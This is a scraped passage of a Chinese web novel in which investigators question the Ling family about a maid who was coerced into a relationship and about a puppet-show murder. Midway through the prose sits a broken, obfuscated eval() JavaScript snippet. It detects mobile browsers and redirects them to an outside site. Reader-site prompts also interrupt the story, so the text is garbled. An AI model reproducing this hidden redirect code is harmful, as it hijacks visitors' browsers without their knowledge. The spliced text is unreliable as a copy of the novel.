半晌后,凌天阁开口道:“老朽自是不用说,夫人也已去世,老大凌云海,老三凌池和我夫人安排的奶娘与稳婆。” “奶娘与稳婆,她们后来都去了哪里?”方骅问。 凌天阁答:“稳婆和奶娘本就是早些时日从外县请来的。孩子出生后,便给了稳婆一大笔封口费,派人将她送了回去。” 小主,这个章节后面还有哦,请点击下一页继续阅 读,后面更精彩! 第一百六十一章 玫儿 他的这句问话,威力无疑像一声惊雷,瞬间将凌天阁的内心炸得支离破碎。 他整个身子开始摇摇欲坠,嘴里不停地重复道:“不可能……不可能的……” “您怎么知道不可能?” 凌天阁瞳孔微微晃动,完全不接受这个假设,嘶哑着开口道:“这事,打死老大和老三,他们都不可能说出。稳婆和奶娘也早已离开广元县……” “他们也许不对外人说,只是……您怎么能保证他们没有对自己最亲的人讲过?”这次,对方苍白的辩驳还未完全说出,便被方骅一句话堵了回去。 父母这一生最亲近的是自己的孩子,但孩子这一生最亲的不只是父母。 他们长大后,会有自己的爱人,也会有自己的孩子。 他们对后面出现的两个角色的爱,并不亚于对自己父母的爱。 所以,凌天阁即便笃定了自己不会说出去,但无法替自己另外两个孩子做出保证。 更何况,在凌天阁的心里,没有任何人能比凌家的名声更重要。 从前,他可以一意孤行地为自己的子女做主,不考虑子女的想法。 可子女会长大,他们会有自己的想法。 不会有一个人,能完全一辈子控制住另外一个人的想法。连最亲的人……都无法做到。 方骅话一出,凌天阁彻底噤声。 还有一件事,冷萤早就想问了。 见对方无话可说,趁这个机会,她便问了出来:“凌小宝的女儿,究竟是怎么死的?” 面色灰白的老人,喝了口早已变凉的茶,颤抖着道:“被摔死的。” “什么?”冷萤傻眼,再次确认道:“我问的是凌小宝的女儿。” 老人极疲倦地点了下脑袋,随后道:“老朽没听错,小宝的女儿,就是从高墙上掉落到地上,摔死的。” 听完他的回答后,所有人都一脸茫然,冷萤喃喃一语道:“……怎么会这样?” “是啊……”凌天阁哀叹一句,满脸的沟壑难受得挤到一起,“那个丫鬟怀了小宝的孩子后,我们也没说什么,还专门找了个人伺候她。可没想到,她最后居然想带着孩子逃跑。” “然后呢?”冷萤问。 “然后在她将孩子背在身后,准备从高墙爬出去时……孩子不慎从襁褓里滑落摔到地上,就这样活生生地摔死了。”老人双手捂脸,情绪渐渐开始不稳定了。 他很痛苦,冷萤瞧得出。 但他再痛苦,有些事情她也不可能忽略。 比如说……为什么孩子的母亲想出凌家时,不是光明正大地从大门走出,而是选择爬墙逃走? 一个女人刚生下孩子,整个状态正是最虚弱的时候。 如果不是遇到过不去的事,根本不可能选择在这个时期,做出如此危险的举动。 于是,她二话不说朝凌天阁问道:“孩子母亲为何要逃走?” 凌天阁沉默了。 “你们是不是打她了?”珊瑚立刻问道,语气里满是愤怒,见对方还是不愿说话,她又继续问道:“还是强迫她干什么了?” 珊瑚的问话提醒了冷萤,她好似想到了什么,张口便问道:“凌老爷,麻烦您实话实说。当初,究竟是她自己想同凌小宝在一起,还是你们为了让凌小宝有后,而强迫她?” 凌天阁这次倒是很快有了反应,打起精神回答她们:“我们当然不会强迫她,一个丫鬟而已。小宝他天赋极高,老朽本来早就替他物色了戏班子里刚来的学员。只是……” “只是什么?” 对方轻叹一句,说道:“只是小宝摔坏了脑袋,疯疯癫癫又性情执拗,玫儿很小就开始照顾他了。以至于……所有人都近不了他的身,只有玫儿可以。” “所以呢?” “所以……我们只能睁一只眼、闭一只眼,任由小宝日日缠着玫儿,直到玫儿有了身孕。”他到此时,语气里还是满满的不情愿。 冷萤都快气笑了。 只能?任由?缠着? 凌天阁字字句句中,都透露出对玫儿的不满意,和对凌小宝所作所为的放纵! 她闭了闭眼,试图调整好语气,对方再怎么也是个长辈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617964|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 冷萤为了顾全大局可以忍下,但另外三人却不想。 于是,在她还没有调整好态度时,珊瑚第一个开了口:“你句句都在为凌小宝着想,可有想过玫儿愿不愿意同你那儿子在一起?” 方骅也开口了:“凌小宝摔坏了脑袋,但你们都是正常人,正常人应该都知道,男女之事讲究一个你情我愿。你们……真有人问过玫儿愿还是不愿吗?” (对,这就是强迫!) 凌天阁被他们一字一句,说得差点抬不起脑袋,半晌后才轻声道:“雪霜问过了。” “答案呢?”冷萤问。 回答她的,是长久的沉默。 这次,冷萤实在无法控制住自己的情绪了,讽刺道:“合着,问话也只是‘走过场’?凌老爷,在台上你们凌家或许是主角。但在台下,每个人都是自己命运的主角。你们!凭什么擅自替一个小姑娘做主?” 铿锵有力的话,自冷萤嘴里说出。 或许是见她太生气了,原本在一旁鼻子都气歪的珊瑚,反而转过来替她顺起了气。 凌天阁依然低垂着脑袋,一声没吭。 冷萤收敛脾气,缓了缓气息才又道:“那玫儿呢?她现在人在哪里?” 嗫嚅了许久,对方才颇为心虚地抬起头,但视线还是没有与他们任何一个人接触,小声道:“孩子死后没多久,她太自责……便在家中自杀了。” 对方话音刚落,冷萤只觉脑袋一嗡。 她倏地站起身,正准备说什么,凌天阁的房门外突然传出一阵吵闹与尖叫声。 随后,房门不知被谁大力踢开,“啪”的一声朝两边撞去。 几人同时警觉地转过身,倒是房间的主人坐在床边动都没动,安抚地说了句:“不用紧张,是小宝来了。” 接着…… 一个上身着秋香色短褂,下身绿色灯笼裤,头上绑着几颗赤红绒球的男人,张牙舞爪地朝珊瑚冲了过去。 “珊瑚你小心一……” 冷萤提醒的话还未讲完,便瞧见那秋香色男子被珊瑚一脚又踢出了门外。 第一百六十二章 凌小宝 “珊瑚姑娘,脚下留情!” 凌天阁心疼地大喊,想起身却又无力,只得悻悻然地坐了回去。 “呜呜呜……阿姐踢我……好疼啊啊啊……” 门外的下人见状,急忙上前想扶起打扮怪异的男子,只可惜无论他们怎样努力,对方都不让他们近身。 男子干嚎了半晌,见对面几人理都不理他,连往常疼他入骨的老父亲,也坐在床边无法起身。 眼前的四人像座大山,将他的视线挡得死死的,让他想看父亲一眼都无法如愿。 干哭了许久,凌小宝发现没什么意思,又自己摇摇晃晃地爬起了身,一瘸一拐地朝那几人走去。 他走动时,头上的绒球也跟着他一颤一颤,瞧起来甚是滑稽。 “阿姐,你为何不理小宝……” 这人好似不怕疼似的,走了两步又张开双臂晃悠悠地冲过来,脸上的表情委屈至极,看方向……应是直奔珊瑚而去。 他的眼中,好似只有珊瑚一人。 “站住!敢再往姑奶奶这里走一步,你会死得很难看喔!”珊瑚凉着声音警告他。 凌小宝委屈地垂下脑袋,又偷偷抬起双眼看过去,嘴里不停地嘟囔着:“小宝乖……小宝不过来。可是阿姐怎么变坏了,今日都不理小宝了……” 尾音拖得极长。 如果这句话放在一个小孩身上,众人只会觉得对方活泼可爱。 可他们对面的,是个打扮得像只黄雀的高大男人。 珊瑚白了他一眼,防备地抱着双臂大声道:“谁是你阿姐?少来攀扯关系!” 被她无情的言语击中,男子瘪瘪嘴歪了下身子,朝着身后的凌天阁小声道:“爹,阿姐好像不理小宝了,是不是小宝做错了什么?” 凌天阁愣愣地坐在床沿,不知该如何回答自己的傻儿子。 凌小宝一脸无措地站在几人面前,小心翼翼地弯着身子,想努力看见他们身后的凌天阁。 冷萤和方骅见状,无声地朝旁边让了让。 这个凌小宝,与他们想象中的完全不一样。 眼前的男人,身高与姜小四差不多,年纪瞧着比凌池小不了多少,行为举止却似垂髫小儿一般。 “珊瑚姑娘,我儿没有恶意的。他心思单纯,不懂男女之防,有时候举止夸张一些,还请姑娘多担待。” 凌天阁朝凌小宝招了招手,后者乖乖地跑过去坐到他的身边,半眯着眼睛乐呵呵地将脑袋靠在他的肩膀上不停扭动,举止仿若某种动物。 “不想担待,”珊瑚倏地瞪眼,凉着嗓音对他道:“他不懂这些,你们还不懂?再动手动脚,就把你捆…起…来…”最后几个字,她是对着凌小宝说的。 凌小宝被她凶巴巴的样子吓到,径直往自己父亲怀里钻,嘴里一直喊着:“阿姐变了,阿姐好可怕,阿姐脸是歪的……” “你的脸才是歪的!”这次,珊瑚的脸是真的被气歪了。 冷萤走过来,安慰她:“没必要和陌生人置气,对方心智不全,太较真只会气坏自己。”说完,将珊瑚拉到自己身后,杜绝凌天阁眼中一闪而过的寒凉。 凌小宝的出现,让冷萤看清了一件事。 凌天阁不愿承认凌小宝的身份是一回事,但对凌小宝也的确是溺爱。 其实不难猜,如果不是这些没有底线的宠爱,凌家也不会为了凌小宝,去强迫良家女子。 珊瑚“哼”了一声,忍气吞声地站在冷萤身后。 在瞧不见珊瑚针尖似的目光后,凌小宝晃了晃凌天阁的胳膊,随后道:“小宝这几日可乖了,阿爹…你能不能给玫儿写信,让她早些回来陪小宝啊。” 对着冷萤几人诧异的表情,凌天阁无奈一笑。 随后捂住凌小宝耳朵,对他们道:“不能让小宝知道玫儿已死,不然他会更疯的。所以这几年,我们一直都瞒着他,说玫儿回了老家。” 冷萤听罢,满脸失望地将目光移开。 那个叫玫儿的女子,因为他们的行为而丢掉了性命,结果罪魁祸首不仅没心没肺的,还日日深受家人呵护。 即便此时有人告诉凌小宝,有个可怜的女子和无辜的孩子,因为他任性的行为而枉死,他也不会有任何反应吧? “呵……”她念头刚起,身后便传出了一声冷笑。 她不用回头,听声音就知道是珊瑚。 “阿爹,你为何也不理小宝了?”凌小宝见凌天阁不回答他,身体又开始乱动,手脚也开始不安分了起来。 “凌小宝,你不知道吗?你的玫儿她死了,死了就是回不来了。她啊……是被你害死的!” 冷萤还来不及阻拦,珊瑚的话便如同竹筒倒豆子一般,一股脑全说了出来。 估计是不想被人打断,她还专门拣重点说。凌天阁转头想捂住凌小宝的耳朵,都没来得及。 “珊瑚姑娘,你为何这样残忍!”凌天阁气得终于站起了身,指着珊瑚说了一句后,又虚弱地坐了下去。 “这就残忍了?和你们做的那些事情比起来,这到底算哪门子的残忍?”珊瑚在冷萤身后阴阳怪气道。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!她才不管凌老爷是不是还未恢复,即便此时对方一直捂着胸口,但她实在忍不了了。 “哇……”震天的哭喊声,自凌小宝那里传出。 这次,不需要凌天阁帮他,他自己主动将两只耳朵捂住,随后便发出了让人倍感刺耳的尖叫声。 凌天阁顿时慌了,他一边想扯下凌小宝的双手,嘴里还一边安慰道:“小宝乖,她是瞎说的,玫儿昨日还来信了,怎么可能会死呢?小宝……小宝?” “啊……” “玫儿才没有死!玫儿是小宝的宝贝…小宝怎么…呜呜…怎么会害死她呢?” 凌小宝尖叫声中,不时夹杂着几句病态至极的话,让在场的每个人都被他吵到无法开口说话。 珊瑚自冷萤身后走出,盯着不停尖叫的男人和一旁慌乱安抚的老者,目光里带着一丝快意。 “阿爹,怎么了?我怎么听见小宝在尖叫?” 一道杏色身影走了进来,清冷的嗓音里透着慌乱,正是凌家的二女儿凌雪霜。 她好似根本就没注意到冷萤几人,一进门就忙朝凌小宝那处走去,神情同凌天阁一样紧张,还没走到嘴里就不停安慰着:“小宝,是阿姐啊,阿姐过来陪你了,刚是不是有谁欺负你了?” 冷萤察觉到珊瑚正准备开口,抢先一步走到凌雪霜面前,抱歉道:“对不住,凌娘子。义妹心直口快,凌公子他……没事吧?” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百六十三章 护犊子 初见时,仪态万方、气质优雅的妇人,此时完全变了个模样。 她抱着还在不停尖叫的凌小宝,脸上带着微微薄怒,对着冷萤一行人道:“冷姑娘,我邀请你们到凌家小住,是看在你们救过我阿爹的份上。但并不代表,你们可以任意欺负我们凌家人。” “实在对不住……”冷萤垂首,再次道歉。 珊瑚方才虽然心直口快,但也是实在气不过才开的口。她道歉,不是觉得珊瑚有错,而是对他们方才造成的混乱场面感到不好意思。 若不是想顾全大局,她对凌家的所作所为,也是嗤之以鼻的。 见她态度诚恳,凌雪霜态度渐渐软化。 “冷姐姐,你为什么要道歉?你又没有错!”珊瑚一把拉回冷萤,不让她再继续站在凌雪霜面前。 凌雪霜本已软化的态度,因为珊瑚的言语,再次变得冷硬:“珊瑚姑娘,我小弟声音都喊哑了,你觉得你们没有错?” 她将凌小宝交给旁边的凌天阁,从容不迫地站起身,走到珊瑚面前一字一句道:“那妾身倒想问问珊瑚姑娘,你方才究竟对我小弟说了什么,才导致他情绪失控的?” “我说……”珊瑚毫不退缩,正想把自己方才说过的话再说一遍,被冷萤一把推到了后面。 但珊瑚这次不想再躲到冷萤身后了,她不想每次都是冷姐姐替自己打圆场。 于是,她干脆直接从冷萤的胳膊下钻出,理直气壮地站到凌雪霜面前,对她道:“我跟你弟弟说,他害死了他的玫儿,那又怎么了?” 冷萤闭眼,知道这次拦不住了,只能颇为无奈地收回了手。 “也不知……陈全将客栈的房间退了没。”她有气无力道。 “还没。”方骅立即回她。 冷萤转头看了他一眼,并不很想同他说话。 他同姜小四站在一旁像两个甩手掌柜,态度好似什么都没发生过一样,方才珊瑚往前冲时,更是拦都不拦一下。 她还以为,他是真的什么也没听见。 怎么这时,自己就小声嘟囔了一句,他就听得明明白白的? “本姑娘已经够善良了,方才都没来得及说,他还害死了自己的孩子呢。”珊瑚天不怕地不怕,音调一句比一句高,看都不看对方一眼。 珊瑚说前面一句时,凌雪霜尚且还能装模作样地好好站在那里。 可当她说到凌小宝害死自己孩子时,对方不知想到了什么,脸色瞬间变得煞白。 “你……住嘴!”凌雪霜大喊一声,似乎想压过珊瑚的嗓音。 随后,她整个身体都开始剧烈颤抖,呼吸变得格外急促。看她这个样子,好似已完全顾不上她身后的凌小宝了。 “珊瑚,”冷萤连忙出声制止,“不可无礼!” 珊瑚方才说的那句话,应该是让凌雪霜想到了自己那“死去”的孩子。 被叫住的珊瑚,这次也意识到自己一时嘴快。 “对不……”自知失言的她,第一反应是想道歉来着,但不管怎么努力,最后一个字却始终说不出口。 她知道自己容易冲动,一冲动就容易口不择言。 但是,珊瑚目前对整个凌家的印象极差,差到连一句简单的抱歉都无法说出。 见她表情为难,冷萤二话不说接过了话,开口道:“实在对不住,凌娘子。我们今日就离开凌府,昨夜打扰各位了。” 双方闹得这样僵,再住下去也没什么意思。查案而已,不住在凌府他们也可以。 “不可!” 没承想,半晌没开口说话的凌天阁,猛地一下子站起身阻止他们离开。 他身边的凌小宝已经彻底安静下来,只是嘴里不知在叽里咕噜念些什么,没有一句能听懂。 “阿爹,冷姑娘他们既准备离开,想来是有要事在身。您便……”凌雪霜正准备劝凌天阁,被他抬臂止住。 “方才的事都是误会,方大…公子,冷姑娘,还有珊…珊瑚姑娘和姜小公子,老朽与你们一见如故,不如就看在老朽的面子上,在凌家小住一段时日吧。”凌天阁看向他们的目光里,带着恳求。 “阿爹?”凌雪霜看向自己阿爹的表情,格外的复杂。 冷萤并不是在意凌雪霜的反应,但在仔细想了想后,还是开口道:“凌老爷,答应你的事情我们会做,但晚辈们还是不……” 她的话还未说完,被凌天阁直接打断:“你们,是想让老朽腆着一张老脸求你们吗?” “阿爹!” 凌雪霜震惊地看着凌天阁,全然不懂凌天阁为何要摆出如此低的姿态,只为留下这群刚欺负过小宝的人。 “阿姐…阿姐留下,小宝…嘿嘿小宝…喜欢…” 方才还在一个人碎碎念的凌小宝,不知哪个字触动到他的神经,突然猛地抬起头跳起身,对着珊瑚的方向,张牙舞爪地就准备抱上去。 “慢着!”冷萤。 “小心!”凌天阁。 两个人同时开口阻止,却在下一瞬,眼睁睁地看着凌小宝整个人腾空。 所有人的目光,随着珊瑚的潇洒一甩手的动作,齐齐地注视着已被她挂在房梁上的凌小宝。 “啊…阿姐救命啊,小宝好怕的…阿姐快来救小宝啊…” 被挂在房梁上的凌小宝,瞧着更像一只黄雀了。 他四肢不停地乱挥,将赶过去伸长手臂,想抱住他双脚的凌天阁吓个半死。 而凌雪霜,不知是因为什么原因,竟站在原地动都没动一步。 她只是将目光自绑着凌小宝的那根弦丝上,慢慢地移到珊瑚的这处。 “看什么看?我警告过他了!”珊瑚啐了一句,气不过又继续道:“他莫不是装傻的吧?这样非礼姑娘才不会被打。” 还没等对方回话,她又气愤道:“不对,即便是真傻,这种行为本姑娘也照打不误。”随后指向不停叫喊的凌小宝,“敢下来你就死定了,登徒子。” 依凌雪霜“护犊子”的行为,珊瑚已经做好被对方骂一顿的准备了。 她正准备上前“迎战”。谁知,还没走上两步呢…… 便发现,凌雪霜默默看着她半晌后,两行泪就这样自眼眶流了出来。 “……” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百六十四章 令尊贵姓 珊瑚铁骨铮铮,都已经做好和对方打一架的准备了。 结果…… 她看了眼脆弱破碎的凌雪霜,憋着气转头问冷萤:“我打她了?” 冷萤摇摇头,表示自己也瞧不明白。 凌雪霜的反应,明显非常痛苦。高处不停喊着“阿姐”的凌小宝,甚至都没有分散她一丝的注意力。 她的全副心神,好似都放在珊瑚身上。 看着泪流满面的凌雪霜,珊瑚像见鬼似的躲到冷萤身后,悄声问道:“要不,我把那只鸟放下来?她明显就是想用这样的姿态……让我愧疚。” 方骅在她身后凉凉来了一句:“还有能将你吓到的人,果真天下之大、无奇不有。” “闭嘴,躲在女子身后的软脚虾。”珊瑚白了他一眼。 “……” 方骅正准备骂她,见冷萤投来“意味深长”的一眼,又硬生生将骂声吞了回去。 方才,对面一老一弱还有一位妇人,他怎么开口都像是欺负人家。反正有珊瑚在,她以一敌百,他们还有啥好担心的。 真要打架的时候再叫他不就可以了。 “你能不能别哭了?哭得我心慌慌的,来来来……你干脆过来打我一顿好了。”见凌雪霜还在哭,珊瑚直接忍不了了。 “你……”凌雪霜含着泪,刚开口说了一句又停住了。 冷萤见情形不对,拿出手帕递给对方,在对方接过去后,才又轻声道:“凌娘子,珊瑚只是小孩心性,不会伤害到凌小公子的。” “我才不是小孩……”珊瑚在她身后小小声抗议了一声。 凌雪霜用手帕擦干眼泪,其间目光一直没有离开过冷萤身后。 虽然珊瑚已经将整个身体藏住了,但总是感觉有一道让人无法忽视的视线,直直朝自己看过来。 “珊瑚姑娘……”凌雪霜再次开口说话,却并不是让她将凌小宝放下来,而是问了一个毫不相干的问题:“请问令尊贵姓?” 她的问题,让原本一直藏在冷萤身后的珊瑚,偷偷地露出了一颗脑袋,凶巴巴地问道:“你什么意思?” 凌雪霜看着她没有说话,只是眼泪不停地往下掉,像断了线的珠子似的。 珊瑚实在看不得女子哭泣,撇了撇嘴道:“娘子和我爹有仇?如果有的话,还是亲自去找他报仇吧。我从小就没见过他,实在帮不了娘子这个忙。” 她这一句话,让凌雪霜止住了哭声。 冷萤本来还在观察凌雪霜,怕她情绪太激动,会突然对珊瑚有不好的举动。 却在听见平时性情大大咧咧,从来都是有话直说,有仇当场就报的人,用佯装坚强并不在意的语气,说出那一番话时。 她还未来得及瞧过去的眼眸里,顿时染上了一阵心疼。 珊瑚没忍住,瞧了一眼身边人的神色。 她对凌娘子讲那些话时,纯粹是无所谓的姿态。却在看见冷萤,还有她身后方骅与姜小四的表情后,眼底逐渐染上湿意。 不过也就片刻,她便咬了咬唇朝冷萤展露一丝勉强的笑容,转头看向对面的凌雪霜。 然而在她转头的瞬间,原本冷冰冰的右手,却逐渐变得温暖。 站在对面的凌雪霜控制不住地,朝珊瑚走了几步。 见对方一脸防备地看向自己,她伸出的手又慢慢收了回来,表情失望地开口道:“或……或许是我看错了。珊瑚姑娘一身好功夫,手中弦丝更是使得出神入化,不知……师承何人?” 这人……真的好奇怪。 珊瑚再次往后退了一步,她实在有些不习惯,明明方才还一脸凶样对着她的女人,怎么突然间就像变了一个人。 这人有古怪,她才不想回答。 “阿姐,救我啊……阿姐……” 远处凌小宝尖锐的嗓音传来,打破了这边的尴尬氛围。 凌天阁一直站在凌小宝身下,佝偻着身体安慰着不停叫喊的人。 珊瑚这下也失了兴致,手指伸出去轻轻一挽,凌小宝就像断了线的风筝,快速朝下方坠落。 “小宝!” “啊……” 刺耳的尖叫声与焦急的呼喊声戛然而止。 在凌小宝急速下落时,珊瑚的手指轻轻抬了抬,硬生生将他的身体定格在离地面只有一寸距离的位置。 就在凌天阁与凌雪霜同时松了口气时,珊瑚的手指又微微一动。 凌小宝自是没有防备,一张脸结结实实地撞在了地面上。随后四肢大张着趴在地上,半天没有动弹一下。 凌天阁见状,连忙走上前扶起他,心疼地问道:“小宝,疼不疼啊?” “疼啊,阿爹…小宝的脸疼疼的…”凌小宝趴在地上抬起脸,龇牙咧嘴地对着凌天阁喊了句。 凌天阁正想用手帮他将脸上的脏污拭净,结果扑了个空。 看着乖乖爬起身,摇摇晃晃想走出门的儿子,他问道:“小宝,你去哪里?” “去找玫儿给小宝擦擦,玫儿手是软软的,阿爹手是硬硬的。”凌小宝丢下这句话,便旁若无人地出了门,压根不管身后的凌天阁表情有多难看。 这章没有结束,请点击下一页继续阅读!跟着他过来的下人见状,又慌忙跟了上去。 “呵……小儿无状。”凌天阁收回手,颇为尴尬地对冷萤几人讪笑道。 待凌小宝走后,凌雪霜又恢复到第一次见面的模样,温和有礼地对冷萤几人道:“之前一时心急,言语过激,希望几位少侠不要放在心上。” 冷萤忙回道:“是我们举止太放肆了,还请凌娘子见谅。” 凌雪霜颔首浅笑,见凌天阁走上前,才又继续道:“阿爹说得没错,冷姑娘你们就安心在凌家住下,如有什么不方便之处,只管同我讲。” “那……晚辈们就恭敬不如从命了。”冷萤瞧了眼自己的伙伴,发觉他们并无任何异议,便也不再拒绝对方的好意。 见冷萤同意,凌雪霜这才又将目光转到珊瑚那处。见对方微噘着嘴,好似不太情愿留下来的样子。 她面上浮起慈爱之色,开口道:“广元人爱吃羊肉,喝羊汤,不知各位可吃得惯?想必你们早就饿了,我已让人备好席面,不如一同前去?” 女儿不再反对冷萤几人住在凌家,凌天阁自然是松了口气,连连开口道:“对,正好让几位少侠尝一尝广元的羊肉锅。各位请……” 冷萤转头看了眼方骅,见对方点头同意,便准备带着珊瑚和姜小四一起跟着凌老爷出去。 谁料一晃眼,姜小四还在自己身旁乖乖走着,珊瑚却被凌雪霜拉着不知在说些什么。 见珊瑚被带着往前走,还不忘回头无声朝她喊“救命…”,冷萤只是笑了笑,便慢下脚步,等方骅上前再一同过去。 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百六十五章 谁碰过 方才凌雪霜到凌天阁房里时,因为冷萤几人正在欺负凌小宝,导致当时的语气不太好。 但不得不说,她是真心在欢迎他们。 当一桌子菜出现在几人眼前时,冷萤居然有一丝感动。明明家中才出了事,凌雪霜居然还能准备得这么周全。 珊瑚站在冷萤身边,用极小地,只有冷萤才能听见的声音,欢呼了一声。 前段时日的风餐露宿,加上她受伤的身体还未完全好,一路上又跟着他们不停查案,确实没让她好好吃上一顿了。 所以在大家坐下,凌天阁作为家主说了几句后,冷萤夹的第一道菜便是往珊瑚碗里送去。 没想到,有人的速度比她更快。 冷萤还未放进珊瑚碗里的菜,顺势一转就放进了方骅碗里。 “多谢。” 沉稳的男声自她耳边响起,随后默默吃下冷萤夹过来的菜。 冷萤有些心虚地看着他低垂着眼认真进食,正准备给自己夹点时,一道幽怨的目光,自方骅身边传了过来。 她猛地一惊看过去,却见姜小四正捧着空空如也的碗,静静地瞧着她。 得……还有一个祖宗。 她反应过来,正预备帮姜小四也夹一道时,方骅的手比她更快,在自己面前碗里随便夹了点,放入姜小四的碗中,开口道:“食不言寝不语,吃!” 白发少年咬了咬唇,委屈地低下头吃了起来。 冷萤这才松了口气,认真地开始进食。 酒足饭饱后,一旁的珊瑚拍着肚皮,对还在不停给她加菜的凌雪霜推拒道:“凌姨,我真的吃不下了,肚皮都快炸开了。” “那想喝什么,记得给凌姨说。”凌雪霜见她真的吃不下了,这才放下一直忙碌的筷子。 冷萤吃得差不多后,悄悄观察起同桌的几位。 凌云海夫妇与凌池夫妇都没来,凌天阁身边坐着一位年轻男子,她昨夜看见过,是凌云海的儿子凌天青。 凌天青一直在照顾凌天阁,殷勤地为他布菜,但爷孙俩的对话极少,几乎没怎么沟通过。 凌雪霜左侧坐着珊瑚,右侧坐着一个十岁左右的男孩,想来应该是她的小儿子樊寸心。 女婿樊炎心这几日因为有事外出,今晚才会回到凌家。这是吃饭前,凌雪霜主动说起的。 凌小宝则是自己在房间里用饭,有专人伺候。 不知樊寸心平日里是不是一直这般乖巧,全程凌雪霜都没怎么管过他,目光一直停留在珊瑚身上。 这半大不小的孩子,自己好好坐在桌前吃着,举止颇为守规矩。 在吃得差不多后,他放下碗筷,对凌雪霜道:“母亲,心儿吃饱了,可以先回房吗?” 凌雪霜正在给珊瑚倒茶,看都没看他一眼,只随意点了点头。 樊寸心站起身,给在座的各位行礼道别后,才礼貌离开。 见大家都吃得差不多了,方骅也放下碗筷,开口便问道:“凌娘子,昨夜发生的事情,可有进展了?” 冷萤其实也早就想问了,只是方才在凌天阁那处一切都太混乱,刚用饭时又不好谈这些,她便只能一直忍着。 好在,方骅先一步问了出来,免了她的苦恼。 凌雪霜正在为凌天阁倒茶,听他问起,走回来放下茶壶开口道:“没有任何进展。昨晚演出时,只有我碰过那个粉衣傀儡,但我可以发誓,真的不是我做的。” “这些傀儡娃娃,平时都存放在哪里?”他又问道。 “放在后院的仓库里。”这次是凌天青回答的,见方骅的目光看过来,他又继续道:“平日里,都是我提前去仓库拿出来。这次演出前,姑姑手中的傀儡,也是我一同去取来的。” “天青取来傀儡后,我按照平时演出前的习惯,上上下下将傀儡仔细检查过一遍。当时,的确是没有任何问题的。”凌雪霜接过话,说道。 方骅点了点头,拿起桌上的茶水喝了一口,想了想再次问道:“一般候场时,后台会留哪些人?” 凌雪霜回他:“我们戏班子和别家不一样,基本上都是自己人。所以平日里戏具这些,都是自己亲手准备的。我们几人上台后,除了大嫂和倩倩偶尔进去帮我们整理一下东西,几乎没什么人待在那里。” “那昨日凌倩倩没有出现,你们没人发觉不对?”冷萤问道。 凌天青摇摇头,告诉她:“倩倩昨晚压根没去,她说自己不太舒服,日落前便回房休息了,晚饭叫了她好几次都没出来。” 冷萤了然点头,随后继续:“那么……昨晚后台其实只有万娘子一人?” “不,”听到这里,凌天阁突然开了口:“老朽昨晚坐在台下时,总感觉有些不舒服,便让归宁去帮我取些热水过来。” “所以……”方骅开口道:“昨晚后台,其实一个人都没有?” 冷萤虽然不懂这些,但以前也经常看戏,知道有些演出中途会有角色变换,于是开口:“演出中途……难道不需要换戏具,或者换角色什么的吗?” 凌雪霜好似瞧了眼凌天青,然后才将视线转向他们,回道:“昨晚的剧情非常简单,有我们三个演师完全足够了。” 这样吗? 如果后台真的只有他们三人,且没有外人碰过戏具的情况下…… 倏然,冷萤好似想到了什么,朝凌雪霜继续问道:“戏服里的木头换成了人头与骸骨,在重量上肯定会有差别,你当时有察觉到什么吗?” 经她的提醒,凌雪霜在仔细想了片刻后,才好似醒悟过来急忙道:“我想起来了,昨晚在上台前,归宁曾叫我过去说过一句话。” “然后呢?”冷萤追问。 “然后……”凌雪霜不停回想着,语气格外慢地说道:“我回来时,前奏已起。我当时…什么也顾不上便开始做准备。就发现……” 说到这里时,冷萤发现凌雪霜的表情变了。对方好似想到了什么,整个身体好似僵在了那里。 “发现什么了?”方骅见凌雪霜一直不说话,直接开口问道。 被问的人,瞳孔微颤地看向他们,犹豫着开口:“就发现,我手中的那个傀儡戏具……比之方才要重上不少。” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百六十六章 冷掉的饭菜 “万娘子也是凌家人,她难道不知道规矩?为何偏偏在临上台前,才将你叫过去说话?”方骅问话一向比较直接。 凌雪霜神色有些不自然,却并未回答。 “私事吗?不方便说?”见对方表情为难,他又继续问道。 “也不是不方便……”凌雪霜斟酌片刻,在众人以为她不会再开口时,她在看了眼凌天阁后才道:“昨晚临上台前,突然有人跑来告诉大嫂,说那孩子的坟墓被人给挖开,里面的尸骨……不见了。” 凌天阁听罢,瞬间整个身体一震,猛地站起来,颤抖着问道:“难道昨晚傀儡里的那具婴孩尸骨,就是……” 见凌天阁大惊失色的样子,凌雪霜只能默默点了下头。 “你们说的那个孩子,是凌小宝和玫儿生下的小孩吗?”冷萤从他们别扭的神情中,好似猜出了什么。 如果真是如此,那又是谁狠心将凌小宝那无缘的孩儿挖出,然后破坏了尸身,将尸骨放进那粉色戏服里面的呢? 意识到这个问题的冷萤,转头看了眼方骅。 对方好似知道她在想什么,二话不说开口朝凌雪霜问道:“那小孩的头颅找到了吗?” 顿了顿,他又问了一句:“还有凌倩倩的……” “没有,官府的人来查过了,倩倩的房间里……什么都没有。”或许是怕刺激到凌天阁,凌雪霜直接打断他的话,以极快的语速回道。 方骅听后,并未表态。 凌天阁在凌天青的搀扶下站起身,对凌雪霜道:“雪霜,不如你带几位少侠去倩倩房里瞧瞧。” 凌雪霜有些错愕地看向几人,片刻后才答应:“好的,如果几位用得差不多了,那便随我来吧。” 在冷萤一行人跟着凌雪霜走后,餐桌旁只剩下凌天阁与凌天青二人。 凌天青扶着凌天阁坐下,拿起茶壶正准备给凌天阁倒一杯热茶时,杯口被一只苍老的手掌给按住了。 凌天青下意识抬头看向手掌的主人,却撞进一双饱含怒意的眼瞳里。 “爷……” 他突然意识到凌天阁正在生气,正准备开口,对方一巴掌打掉了他想说的话。 虽然凌天阁还病着,可毕竟是用尽了全身力气,竟将凌天青从坐凳上直接拍倒在地。 